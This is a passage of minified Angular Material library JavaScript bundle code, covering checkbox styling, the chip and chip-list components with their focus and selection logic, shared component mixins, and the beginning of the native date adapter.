20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-checkbox-layout{-webkit-user-select:none;user-select:none;cursor:inherit;align-items:baseline;vertical-align:middle;display:inline-flex;white-space:nowrap}.mat-checkbox-label{-webkit-user-select:auto;user-select:auto}.mat-checkbox-inner-container{display:inline-block;height:16px;line-height:0;margin:auto;margin-right:8px;order:0;position:relative;vertical-align:middle;white-space:nowrap;width:16px;flex-shrink:0}[dir=rtl] .mat-checkbox-inner-container{margin-left:8px;margin-right:auto}.mat-checkbox-inner-container-no-side-margin{margin-left:0;margin-right:0}.mat-checkbox-frame{background-color:rgba(0,0,0,0);transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1);border-width:2px;border-style:solid}._mat-animation-noopable .mat-checkbox-frame{transition:none}.mat-checkbox-background{align-items:center;display:inline-flex;justify-content:center;transition:background-color 90ms cubic-bezier(0, 0, 0.2, 0.1),opacity 90ms cubic-bezier(0, 0, 0.2, 0.1);-webkit-print-color-adjust:exact;color-adjust:exact}._mat-animation-noopable .mat-checkbox-background{transition:none}.cdk-high-contrast-active .mat-checkbox .mat-checkbox-background{background:none}.mat-checkbox-persistent-ripple{display:block;width:100%;height:100%;transform:none}.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:.04}.mat-checkbox.cdk-keyboard-focused .mat-checkbox-persistent-ripple{opacity:.12}.mat-checkbox-persistent-ripple,.mat-checkbox.mat-checkbox-disabled .mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:0}@media(hover: none){.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{display:none}}.mat-checkbox-checkmark{top:0;left:0;right:0;bottom:0;position:absolute;width:100%}.mat-checkbox-checkmark-path{stroke-dashoffset:22.910259;stroke-dasharray:22.910259;stroke-width:2.1333333333px}.cdk-high-contrast-black-on-white .mat-checkbox-checkmark-path{stroke:#000 !important}.mat-checkbox-mixedmark{width:calc(100% - 6px);height:2px;opacity:0;transform:scaleX(0) rotate(0deg);border-radius:2px}.cdk-high-contrast-active .mat-checkbox-mixedmark{height:0;border-top:solid 2px;margin-top:2px}.mat-checkbox-label-before .mat-checkbox-inner-container{order:1;margin-left:8px;margin-right:auto}[dir=rtl] .mat-checkbox-label-before .mat-checkbox-inner-container{margin-left:auto;margin-right:8px}.mat-checkbox-checked .mat-checkbox-checkmark{opacity:1}.mat-checkbox-checked .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-checked .mat-checkbox-mixedmark{transform:scaleX(1) rotate(-45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark{opacity:0;transform:rotate(45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-indeterminate .mat-checkbox-mixedmark{opacity:1;transform:scaleX(1) rotate(0deg)}.mat-checkbox-unchecked .mat-checkbox-background{background-color:rgba(0,0,0,0)}.mat-checkbox-disabled{cursor:default}.cdk-high-contrast-active .mat-checkbox-disabled{opacity:.5}.mat-checkbox-anim-unchecked-checked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-checked .mat-checkbox-checkmark-path{animation:180ms linear 0ms mat-checkbox-unchecked-checked-checkmark-path}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-unchecked-indeterminate-mixedmark}.mat-checkbox-anim-checked-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-checked-unchecked .mat-checkbox-checkmark-path{animation:90ms linear 0ms mat-checkbox-checked-unchecked-checkmark-path}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-checkmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-checkmark}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-mixedmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-checkmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-checkmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-mixedmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-mixedmark}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-mixedmark{animation:300ms linear 0ms mat-checkbox-indeterminate-unchecked-mixedmark}.mat-checkbox-input{bottom:0;left:50%}.mat-checkbox-input:focus~.mat-focus-indicator::before{content:""}\'],encapsulation:2,changeDetection:0}),q})(),se=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=s.oAB({type:q}),q.\\u0275inj=s.cJS({}),q})(),ee=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=s.oAB({type:q}),q.\\u0275inj=s.cJS({imports:[c.si,c.BQ,f.Q8,se,c.BQ,se]}),q})()},7331:(At,ae,d)=>{"use strict";d.d(ae,{HS:()=>ce,Hi:()=>bt,qn:()=>Ye});var n=d(9521),a=d(4650),s=d(3238),u=d(1281),c=d(3353),f=d(6895),E=d(8929),_=d(6787),S=d(2986),g=d(7625),C=d(1059),z=d(2687),H=d(445),j=d(5017),U=d(4006),G=d(9549);const Q=["*"],Ce=new a.OlP("MatChipRemove"),k=new a.OlP("MatChipAvatar"),K=new a.OlP("MatChipTrailingIcon");class se{constructor(De){this._elementRef=De}}const ee=(0,s.sb)((0,s.pj)((0,s.Kr)(se),"primary"),-1);let ce=(()=>{class ze extends ee{constructor(re,ve,We,xt,Be,pe,P,w){super(re),this._ngZone=ve,this._changeDetectorRef=Be,this._hasFocus=!1,this.chipListSelectable=!0,this._chipListMultiple=!1,this._chipListDisabled=!1,this.role="option",this._selected=!1,this._selectable=!0,this._disabled=!1,this._removable=!0,this._onFocus=new E.xQ,this._onBlur=new E.xQ,this.selectionChange=new a.vpe,this.destroyed=new a.vpe,this.removed=new a.vpe,this._addHostClassName(),this._chipRippleTarget=pe.createElement("div"),this._chipRippleTarget.classList.add("mat-chip-ripple"),this._elementRef.nativeElement.appendChild(this._chipRippleTarget),this._chipRipple=new s.IR(this,ve,this._chipRippleTarget,We),this._chipRipple.setupTriggerEvents(re),this.rippleConfig=xt||{},this._animationsDisabled="NoopAnimations"===P,this.tabIndex=null!=w&&parseInt(w)||-1}get rippleDisabled(){return this.disabled||this.disableRipple||this._animationsDisabled||!!this.rippleConfig.disabled}get selected(){return this._selected}set selected(re){const ve=(0,u.Ig)(re);ve!==this._selected&&(this._selected=ve,this._dispatchSelectionChange())}get value(){return void 0!==this._value?this._value:this._elementRef.nativeElement.textContent}set value(re){this._value=re}get selectable(){return this._selectable&&this.chipListSelectable}set selectable(re){this._selectable=(0,u.Ig)(re)}get disabled(){return this._chipListDisabled||this._disabled}set disabled(re){this._disabled=(0,u.Ig)(re)}get removable(){return this._removable}set removable(re){this._removable=(0,u.Ig)(re)}get ariaSelected(){return this.selectable&&(this._chipListMultiple||this.selected)?this.selected.toString():null}_addHostClassName(){const re="mat-basic-chip",ve=this._elementRef.nativeElement;ve.hasAttribute(re)||ve.tagName.toLowerCase()===re?ve.classList.add(re):ve.classList.add("mat-standard-chip")}ngOnDestroy(){this.destroyed.emit({chip:this}),this._chipRipple._removeTriggerEvents()}select(){this._selected||(this._selected=!0,this._dispatchSelectionChange(),this._changeDetectorRef.markForCheck())}deselect(){this._selected&&(this._selected=!1,this._dispatchSelectionChange(),this._changeDetectorRef.markForCheck())}selectViaInteraction(){this._selected||(this._selected=!0,this._dispatchSelectionChange(!0),this._changeDetectorRef.markForCheck())}toggleSelected(re=!1){return this._selected=!this.selected,this._dispatchSelectionChange(re),this._changeDetectorRef.markForCheck(),this.selected}focus(){this._hasFocus||(this._elementRef.nativeElement.focus(),this._onFocus.next({chip:this})),this._hasFocus=!0}remove(){this.removable&&this.removed.emit({chip:this})}_handleClick(re){this.disabled&&re.preventDefault()}_handleKeydown(re){if(!this.disabled)switch(re.keyCode){case n.yY:case n.ZH:this.remove(),re.preventDefault();break;case n.L_:this.selectable&&this.toggleSelected(!0),re.preventDefault()}}_blur(){this._ngZone.onStable.pipe((0,S.q)(1)).subscribe(()=>{this._ngZone.run(()=>{this._hasFocus=!1,this._onBlur.next({chip:this})})})}_dispatchSelectionChange(re=!1){this.selectionChange.emit({source:this,isUserInput:re,selected:this._selected})}}return ze.\\u0275fac=function(re){return new(re||ze)(a.Y36(a.SBq),a.Y36(a.R0b),a.Y36(c.t4),a.Y36(s.Y2,8),a.Y36(a.sBO),a.Y36(f.K0),a.Y36(a.QbO,8),a.$8M("tabindex"))},ze.\\u0275dir=a.lG2({type:ze,selectors:[["mat-basic-chip"],["","mat-basic-chip",""],["mat-chip"],["","mat-chip",""]],contentQueries:function(re,ve,We){if(1&re&&(a.Suo(We,k,5),a.Suo(We,K,5),a.Suo(We,Ce,5)),2&re){let xt;a.iGM(xt=a.CRH())&&(ve.avatar=xt.first),a.iGM(xt=a.CRH())&&(ve.trailingIcon=xt.first),a.iGM(xt=a.CRH())&&(ve.removeIcon=xt.first)}},hostAttrs:[1,"mat-chip","mat-focus-indicator"],hostVars:15,hostBindings:function(re,ve){1&re&&a.NdJ("click",function(xt){return ve._handleClick(xt)})("keydown",function(xt){return ve._handleKeydown(xt)})("focus",function(){return ve.focus()})("blur",function(){return ve._blur()}),2&re&&(a.uIk("tabindex",ve.disabled?null:ve.tabIndex)("role",ve.role)("disabled",ve.disabled||null)("aria-disabled",ve.disabled.toString())("aria-selected",ve.ariaSelected),a.ekj("mat-chip-selected",ve.selected)("mat-chip-with-avatar",ve.avatar)("mat-chip-with-trailing-icon",ve.trailingIcon||ve.removeIcon)("mat-chip-disabled",ve.disabled)("_mat-animation-noopable",ve._animationsDisabled))},inputs:{color:"color",disableRipple:"disableRipple",tabIndex:"tabIndex",role:"role",selected:"selected",value:"value",selectable:"selectable",disabled:"disabled",removable:"removable"},outputs:{selectionChange:"selectionChange",destroyed:"destroyed",removed:"removed"},exportAs:["matChip"],features:[a.qOj]}),ze})();const Ze=new a.OlP("mat-chips-default-options"),le=(0,s.FD)(class{constructor(ze,De,re,ve){this._defaultErrorStateMatcher=ze,this._parentForm=De,this._parentFormGroup=re,this.ngControl=ve,this.stateChanges=new E.xQ}});let Oe=0;class Qe{constructor(De,re){this.source=De,this.value=re}}let Ye=(()=>{class ze extends le{constructor(re,ve,We,xt,Be,pe,P){super(pe,xt,Be,P),this._elementRef=re,this._changeDetectorRef=ve,this._dir=We,this.controlType="mat-chip-list",this._lastDestroyedChipIndex=null,this._destroyed=new E.xQ,this._uid="mat-chip-list-"+Oe++,this._tabIndex=0,this._userTabIndex=null,this._onTouched=()=>{},this._onChange=()=>{},this._multiple=!1,this._compareWith=(w,R)=>w===R,this._disabled=!1,this.ariaOrientation="horizontal",this._selectable=!0,this.change=new a.vpe,this.valueChange=new a.vpe,this.ngControl&&(this.ngControl.valueAccessor=this)}get selected(){return this.multiple?this._selectionModel?.selected||[]:this._selectionModel?.selected[0]}get role(){return this._explicitRole?this._explicitRole:this.empty?null:"listbox"}set role(re){this._explicitRole=re}get multiple(){return this._multiple}set multiple(re){this._multiple=(0,u.Ig)(re),this._syncChipsState()}get compareWith(){return this._compareWith}set compareWith(re){this._compareWith=re,this._selectionModel&&this._initializeSelection()}get value(){return this._value}set value(re){this.writeValue(re),this._value=re}get id(){return this._chipInput?this._chipInput.id:this._uid}get required(){return this._required??this.ngControl?.control?.hasValidator(U.kI.required)??!1}set required(re){this._required=(0,u.Ig)(re),this.stateChanges.next()}get placeholder(){return this._chipInput?this._chipInput.placeholder:this._placeholder}set placeholder(re){this._placeholder=re,this.stateChanges.next()}get focused(){return this._chipInput&&this._chipInput.focused||this._hasFocusedChip()}get empty(){return(!this._chipInput||this._chipInput.empty)&&(!this.chips||0===this.chips.length)}get shouldLabelFloat(){return!this.empty||this.focused}get disabled(){return this.ngControl?!!this.ngControl.disabled:this._disabled}set disabled(re){this._disabled=(0,u.Ig)(re),this._syncChipsState()}get selectable(){return this._selectable}set selectable(re){this._selectable=(0,u.Ig)(re),this._syncChipsState()}set tabIndex(re){this._userTabIndex=re,this._tabIndex=re}get chipSelectionChanges(){return(0,_.T)(...this.chips.map(re=>re.selectionChange))}get chipFocusChanges(){return(0,_.T)(...this.chips.map(re=>re._onFocus))}get chipBlurChanges(){return(0,_.T)(...this.chips.map(re=>re._onBlur))}get chipRemoveChanges(){return(0,_.T)(...this.chips.map(re=>re.destroyed))}ngAfterContentInit(){this._keyManager=new z.Em(this.chips).withWrap().withVerticalOrientation().withHomeAndEnd().withHorizontalOrientation(this._dir?this._dir.value:"ltr"),this._dir&&this._dir.change.pipe((0,g.R)(this._destroyed)).subscribe(re=>this._keyManager.withHorizontalOrientation(re)),this._keyManager.tabOut.pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._allowFocusEscape()}),this.chips.changes.pipe((0,C.O)(null),(0,g.R)(this._destroyed)).subscribe(()=>{(this.disabled||!this.selectable)&&Promise.resolve().then(()=>{this._syncChipsState()}),this._resetChips(),this._initializeSelection(),this._updateTabIndex(),this._updateFocusForDestroyedChips(),this.stateChanges.next()})}ngOnInit(){this._selectionModel=new j.Ov(this.multiple,void 0,!1),this.stateChanges.next()}ngDoCheck(){this.ngControl&&(this.updateErrorState(),this.ngControl.disabled!==this._disabled&&(this.disabled=!!this.ngControl.disabled))}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete(),this.stateChanges.complete(),this._dropSubscriptions()}registerInput(re){this._chipInput=re,this._elementRef.nativeElement.setAttribute("data-mat-chip-input",re.id)}setDescribedByIds(re){re.length?this._elementRef.nativeElement.setAttribute("aria-describedby",re.join(" ")):this._elementRef.nativeElement.removeAttribute("aria-describedby")}writeValue(re){this.chips&&this._setSelectionByValue(re,!1)}registerOnChange(re){this._onChange=re}registerOnTouched(re){this._onTouched=re}setDisabledState(re){this.disabled=re,this.stateChanges.next()}onContainerClick(re){this._originatesFromChip(re)||this.focus()}focus(re){this.disabled||this._chipInput&&this._chipInput.focused||(this.chips.length>0?(this._keyManager.setFirstItemActive(),this.stateChanges.next()):(this._focusInput(re),this.stateChanges.next()))}_focusInput(re){this._chipInput&&this._chipInput.focus(re)}_keydown(re){const ve=re.target;ve&&ve.classList.contains("mat-chip")&&(this._keyManager.onKeydown(re),this.stateChanges.next())}_updateTabIndex(){this._tabIndex=this._userTabIndex||(0===this.chips.length?-1:0)}_updateFocusForDestroyedChips(){if(null!=this._lastDestroyedChipIndex)if(this.chips.length){const re=Math.min(this._lastDestroyedChipIndex,this.chips.length-1);this._keyManager.setActiveItem(re)}else this.focus();this._lastDestroyedChipIndex=null}_isValidIndex(re){return re>=0&&re<this.chips.length}_setSelectionByValue(re,ve=!0){if(this._clearSelection(),this.chips.forEach(We=>We.deselect()),Array.isArray(re))re.forEach(We=>this._selectValue(We,ve)),this._sortValues();else{const We=this._selectValue(re,ve);We&&ve&&this._keyManager.setActiveItem(We)}}_selectValue(re,ve=!0){const We=this.chips.find(xt=>null!=xt.value&&this._compareWith(xt.value,re));return We&&(ve?We.selectViaInteraction():We.select(),this._selectionModel.select(We)),We}_initializeSelection(){Promise.resolve().then(()=>{(this.ngControl||this._value)&&(this._setSelectionByValue(this.ngControl?this.ngControl.value:this._value,!1),this.stateChanges.next())})}_clearSelection(re){this._selectionModel.clear(),this.chips.forEach(ve=>{ve!==re&&ve.deselect()}),this.stateChanges.next()}_sortValues(){this._multiple&&(this._selectionModel.clear(),this.chips.forEach(re=>{re.selected&&this._selectionModel.select(re)}),this.stateChanges.next())}_propagateChanges(re){let ve=null;ve=Array.isArray(this.selected)?this.selected.map(We=>We.value):this.selected?this.selected.value:re,this._value=ve,this.change.emit(new Qe(this,ve)),this.valueChange.emit(ve),this._onChange(ve),this._changeDetectorRef.markForCheck()}_blur(){this._hasFocusedChip()||this._keyManager.setActiveItem(-1),this.disabled||(this._chipInput?setTimeout(()=>{this.focused||this._markAsTouched()}):this._markAsTouched())}_markAsTouched(){this._onTouched(),this._changeDetectorRef.markForCheck(),this.stateChanges.next()}_allowFocusEscape(){-1!==this._tabIndex&&(this._tabIndex=-1,setTimeout(()=>{this._tabIndex=this._userTabIndex||0,this._changeDetectorRef.markForCheck()}))}_resetChips(){this._dropSubscriptions(),this._listenToChipsFocus(),this._listenToChipsSelection(),this._listenToChipsRemoved()}_dropSubscriptions(){this._chipFocusSubscription&&(this._chipFocusSubscription.unsubscribe(),this._chipFocusSubscription=null),this._chipBlurSubscription&&(this._chipBlurSubscription.unsubscribe(),this._chipBlurSubscription=null),this._chipSelectionSubscription&&(this._chipSelectionSubscription.unsubscribe(),this._chipSelectionSubscription=null),this._chipRemoveSubscription&&(this._chipRemoveSubscription.unsubscribe(),this._chipRemoveSubscription=null)}_listenToChipsSelection(){this._chipSelectionSubscription=this.chipSelectionChanges.subscribe(re=>{re.source.selected?this._selectionModel.select(re.source):this._selectionModel.deselect(re.source),this.multiple||this.chips.forEach(ve=>{!this._selectionModel.isSelected(ve)&&ve.selected&&ve.deselect()}),re.isUserInput&&this._propagateChanges()})}_listenToChipsFocus(){this._chipFocusSubscription=this.chipFocusChanges.subscribe(re=>{let ve=this.chips.toArray().indexOf(re.chip);this._isValidIndex(ve)&&this._keyManager.updateActiveItem(ve),this.stateChanges.next()}),this._chipBlurSubscription=this.chipBlurChanges.subscribe(()=>{this._blur(),this.stateChanges.next()})}_listenToChipsRemoved(){this._chipRemoveSubscription=this.chipRemoveChanges.subscribe(re=>{const ve=re.chip,We=this.chips.toArray().indexOf(re.chip);this._isValidIndex(We)&&ve._hasFocus&&(this._lastDestroyedChipIndex=We)})}_originatesFromChip(re){let ve=re.target;for(;ve&&ve!==this._elementRef.nativeElement;){if(ve.classList.contains("mat-chip"))return!0;ve=ve.parentElement}return!1}_hasFocusedChip(){return this.chips&&this.chips.some(re=>re._hasFocus)}_syncChipsState(){this.chips&&this.chips.forEach(re=>{re._chipListDisabled=this._disabled,re._chipListMultiple=this.multiple,re.chipListSelectable=this._selectable})}}return ze.\\u0275fac=function(re){return new(re||ze)(a.Y36(a.SBq),a.Y36(a.sBO),a.Y36(H.Is,8),a.Y36(U.F,8),a.Y36(U.sg,8),a.Y36(s.rD),a.Y36(U.a5,10))},ze.\\u0275cmp=a.Xpm({type:ze,selectors:[["mat-chip-list"]],contentQueries:function(re,ve,We){if(1&re&&a.Suo(We,ce,5),2&re){let xt;a.iGM(xt=a.CRH())&&(ve.chips=xt)}},hostAttrs:[1,"mat-chip-list"],hostVars:14,hostBindings:function(re,ve){1&re&&a.NdJ("focus",function(){return ve.focus()})("blur",function(){return ve._blur()})("keydown",function(xt){return ve._keydown(xt)}),2&re&&(a.Ikx("id",ve._uid),a.uIk("tabindex",ve.disabled?null:ve._tabIndex)("aria-required",ve.role?ve.required:null)("aria-disabled",ve.disabled.toString())("aria-invalid",ve.errorState)("aria-multiselectable",ve.multiple)("role",ve.role)("aria-orientation",ve.ariaOrientation),a.ekj("mat-chip-list-disabled",ve.disabled)("mat-chip-list-invalid",ve.errorState)("mat-chip-list-required",ve.required))},inputs:{role:"role",userAriaDescribedBy:["aria-describedby","userAriaDescribedBy"],errorStateMatcher:"errorStateMatcher",multiple:"multiple",compareWith:"compareWith",value:"value",required:"required",placeholder:"placeholder",disabled:"disabled",ariaOrientation:["aria-orientation","ariaOrientation"],selectable:"selectable",tabIndex:"tabIndex"},outputs:{change:"change",valueChange:"valueChange"},exportAs:["matChipList"],features:[a._Bn([{provide:G.Eo,useExisting:ze}]),a.qOj],ngContentSelectors:Q,decls:2,vars:0,consts:[[1,"mat-chip-list-wrapper"]],template:function(re,ve){1&re&&(a.F$t(),a.TgZ(0,"div",0),a.Hsn(1),a.qZA())},styles:[\'.mat-chip{position:relative;box-sizing:border-box;-webkit-tap-highlight-color:rgba(0,0,0,0);border:none;-webkit-appearance:none;-moz-appearance:none}.mat-chip::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-standard-chip{transition:box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);display:inline-flex;padding:7px 12px;border-radius:16px;align-items:center;cursor:default;min-height:32px;height:1px}.mat-standard-chip._mat-animation-noopable{transition:none !important;animation:none !important}.mat-standard-chip .mat-chip-remove{border:none;-webkit-appearance:none;-moz-appearance:none;padding:0;background:none}.mat-standard-chip .mat-chip-remove.mat-icon,.mat-standard-chip .mat-chip-remove .mat-icon{width:18px;height:18px;font-size:18px}.mat-standard-chip::after{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:inherit;opacity:0;content:"";pointer-events:none;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-standard-chip:hover::after{opacity:.12}.mat-standard-chip:focus{outline:none}.mat-standard-chip:focus::after{opacity:.16}.cdk-high-contrast-active .mat-standard-chip{outline:solid 1px}.cdk-high-contrast-active .mat-standard-chip.mat-chip-selected{outline-width:3px}.mat-standard-chip.mat-chip-disabled::after{opacity:0}.mat-standard-chip.mat-chip-disabled .mat-chip-remove,.mat-standard-chip.mat-chip-disabled .mat-chip-trailing-icon{cursor:default}.mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar,.mat-standard-chip.mat-chip-with-avatar{padding-top:0;padding-bottom:0}.mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar{padding-right:8px;padding-left:0}[dir=rtl] .mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar{padding-left:8px;padding-right:0}.mat-standard-chip.mat-chip-with-trailing-icon{padding-top:7px;padding-bottom:7px;padding-right:8px;padding-left:12px}[dir=rtl] .mat-standard-chip.mat-chip-with-trailing-icon{padding-left:8px;padding-right:12px}.mat-standard-chip.mat-chip-with-avatar{padding-left:0;padding-right:12px}[dir=rtl] .mat-standard-chip.mat-chip-with-avatar{padding-right:0;padding-left:12px}.mat-standard-chip .mat-chip-avatar{width:24px;height:24px;margin-right:8px;margin-left:4px}[dir=rtl] .mat-standard-chip .mat-chip-avatar{margin-left:8px;margin-right:4px}.mat-standard-chip .mat-chip-remove,.mat-standard-chip .mat-chip-trailing-icon{width:18px;height:18px;cursor:pointer}.mat-standard-chip .mat-chip-remove,.mat-standard-chip .mat-chip-trailing-icon{margin-left:8px;margin-right:0}[dir=rtl] .mat-standard-chip .mat-chip-remove,[dir=rtl] .mat-standard-chip .mat-chip-trailing-icon{margin-right:8px;margin-left:0}.mat-chip-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit;overflow:hidden;transform:translateZ(0)}.mat-chip-list-wrapper{display:flex;flex-direction:row;flex-wrap:wrap;align-items:center;margin:-4px}.mat-chip-list-wrapper input.mat-input-element,.mat-chip-list-wrapper .mat-standard-chip{margin:4px}.mat-chip-list-stacked .mat-chip-list-wrapper{flex-direction:column;align-items:flex-start}.mat-chip-list-stacked .mat-chip-list-wrapper .mat-standard-chip{width:100%}.mat-chip-avatar{border-radius:50%;justify-content:center;align-items:center;display:flex;overflow:hidden;object-fit:cover}input.mat-chip-input{width:150px;margin:4px;flex:1 0 150px}\'],encapsulation:2,changeDetection:0}),ze})(),bt=(()=>{class ze{}return ze.\\u0275fac=function(re){return new(re||ze)},ze.\\u0275mod=a.oAB({type:ze}),ze.\\u0275inj=a.cJS({providers:[s.rD,{provide:Ze,useValue:{separatorKeyCodes:[n.K5]}}],imports:[s.BQ]}),ze})()},3238:(At,ae,d)=>{"use strict";d.d(ae,{_A:()=>Ke,rD:()=>Be,sG:()=>dt,K7:()=>Vt,HF:()=>ie,Y2:()=>te,BQ:()=>se,X2:()=>pe,uc:()=>R,XK:()=>We,ey:()=>It,Ng:()=>Fe,rN:()=>u1,nP:()=>b,us:()=>B,wG:()=>x,si:()=>m,IR:()=>Pt,CB:()=>_t,jH:()=>kt,pj:()=>je,Kr:()=>Ze,Id:()=>ce,FD:()=>Oe,dB:()=>Qe,sb:()=>le,E0:()=>P});var n=d(4650),a=d(2687),s=d(445),c=d(6895),f=d(3353),E=d(1281),_=d(6498),S=d(8929),g=d(1059),C=d(9521);function j(be,Pe){if(1&be&&n._UZ(0,"mat-pseudo-checkbox",4),2&be){const Re=n.oxw();n.Q6J("state",Re.selected?"checked":"unchecked")("disabled",Re.disabled)}}function U(be,Pe){if(1&be&&(n.TgZ(0,"span",5),n._uU(1),n.qZA()),2&be){const Re=n.oxw();n.xp6(1),n.hij("(",Re.group.label,")")}}const G=["*"],K=new n.OlP("mat-sanity-checks",{providedIn:"root",factory:function k(){return!0}});let se=(()=>{class be{constructor(Re,Ue,xe){this._sanityChecks=Ue,this._document=xe,this._hasDoneGlobalChecks=!1,Re._applyBodyHighContrastModeCssClasses(),this._hasDoneGlobalChecks||(this._hasDoneGlobalChecks=!0)}_checkIsEnabled(Re){return!(0,f.Oy)()&&("boolean"==typeof this._sanityChecks?this._sanityChecks:!!this._sanityChecks[Re])}}return be.\\u0275fac=function(Re){return new(Re||be)(n.LFG(a.qm),n.LFG(K,8),n.LFG(c.K0))},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[s.vT,s.vT]}),be})();function ce(be){return class extends be{constructor(...Pe){super(...Pe),this._disabled=!1}get disabled(){return this._disabled}set disabled(Pe){this._disabled=(0,E.Ig)(Pe)}}}function je(be,Pe){return class extends be{constructor(...Re){super(...Re),this.defaultColor=Pe,this.color=Pe}get color(){return this._color}set color(Re){const Ue=Re||this.defaultColor;Ue!==this._color&&(this._color&&this._elementRef.nativeElement.classList.remove(`mat-${this._color}`),Ue&&this._elementRef.nativeElement.classList.add(`mat-${Ue}`),this._color=Ue)}}}function Ze(be){return class extends be{constructor(...Pe){super(...Pe),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(Pe){this._disableRipple=(0,E.Ig)(Pe)}}}function le(be,Pe=0){return class extends be{constructor(...Re){super(...Re),this._tabIndex=Pe,this.defaultTabIndex=Pe}get tabIndex(){return this.disabled?-1:this._tabIndex}set tabIndex(Re){this._tabIndex=null!=Re?(0,E.su)(Re):this.defaultTabIndex}}}function Oe(be){return class extends be{constructor(...Pe){super(...Pe),this.errorState=!1}updateErrorState(){const Pe=this.errorState,J=(this.errorStateMatcher||this._defaultErrorStateMatcher).isErrorState(this.ngControl?this.ngControl.control:null,this._parentFormGroup||this._parentForm);J!==Pe&&(this.errorState=J,this.stateChanges.next())}}}function Qe(be){return class extends be{constructor(...Pe){super(...Pe),this._isInitialized=!1,this._pendingSubscribers=[],this.initialized=new _.y(Re=>{this._isInitialized?this._notifySubscriber(Re):this._pendingSubscribers.push(Re)})}_markInitialized(){this._isInitialized=!0,this._pendingSubscribers.forEach(this._notifySubscriber),this._pendingSubscribers=null}_notifySubscriber(Pe){Pe.next(),Pe.complete()}}}const Ye=new n.OlP("MAT_DATE_LOCALE",{providedIn:"root",factory:function qe(){return(0,n.f3M)(n.soG)}});class Ke{constructor(){this._localeChanges=new S.xQ,this.localeChanges=this._localeChanges}getValidDateOrNull(Pe){return this.isDateInstance(Pe)&&this.isValid(Pe)?Pe:null}deserialize(Pe){return null==Pe||this.isDateInstance(Pe)&&this.isValid(Pe)?Pe:this.invalid()}setLocale(Pe){this.locale=Pe,this._localeChanges.next()}compareDate(Pe,Re){return this.getYear(Pe)-this.getYear(Re)||this.getMonth(Pe)-this.getMonth(Re)||this.getDate(Pe)-this.getDate(Re)}sameDate(Pe,Re){if(Pe&&Re){let Ue=this.isValid(Pe),xe=this.isValid(Re);return Ue&&xe?!this.compareDate(Pe,Re):Ue==xe}return Pe==Re}clampDate(Pe,Re,Ue){return Re&&this.compareDate(Pe,Re)<0?Re:Ue&&this.compareDate(Pe,Ue)>0?Ue:Pe}}const dt=new n.OlP("mat-date-formats"),bt=/^\\d{4}-\\d{2}-\\d{2}(?:T\\d{2}:\\d{2}:\\d{2}(?:\\.\\d+)?(?:Z|(?:(?:\\+|-)\\d{2}:\\d{2}))?)?$/;function ze(be,Pe){const Re=Array(be);for(let Ue=0;Ue<be;Ue++)Re[Ue]=Pe(Ue);return Re}let De=(()=>{class be extends Ke{constructor(Re,Ue){super(),this.useUtcForDisplay=!1,super.setLocale(Re)}getYear(Re){return Re.getFullYear()}getMonth(Re){return Re.getMonth()}getDate(Re){return Re.getDate()}getDayOfWeek(Re){return Re.getDay()}getMonthNames(Re){const Ue=new Intl.DateTimeFormat(this.locale,{month:Re,timeZone:"utc"});return ze(12,xe=>this._format(Ue,new Date(2017,xe,1)))}getDateNames(){const Re=new Intl.DateTimeFormat(this.locale,{day:"numeric",timeZone:"utc"});return ze(31,Ue=>this._format(Re,new Date(2017,0,Ue+1)))}getDayOfWeekNames(Re){const Ue=new Intl.DateTimeFormat(this.locale,{weekday:Re,timeZone:"utc"});return ze(7,xe=>this._format(Ue,new Date(2017,0,xe+1)))}getYearName(Re){const Ue=new Intl.DateTimeFormat(this.locale,{year:"numeric",timeZone:"utc"});return this._format(Ue,Re)}getFirstDayOfWeek(){return 0}getNumDaysInMonth(Re){return this.getDate(this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re)+1,0))}clone(Re){return new Date(Re.getTime())}createDate(Re,Ue,xe){let J=this._createDateWithOverflow(Re,Ue,xe);return J.getMonth(),J}today(){return new Date}parse(Re,Ue){return"number"==typeof Re?new Date(Re):Re?new Date(Date.parse(Re)):null}format(Re,Ue){if(!this.isValid(Re))throw Error("NativeDateAdapter: Cannot format invalid date.");const xe=new 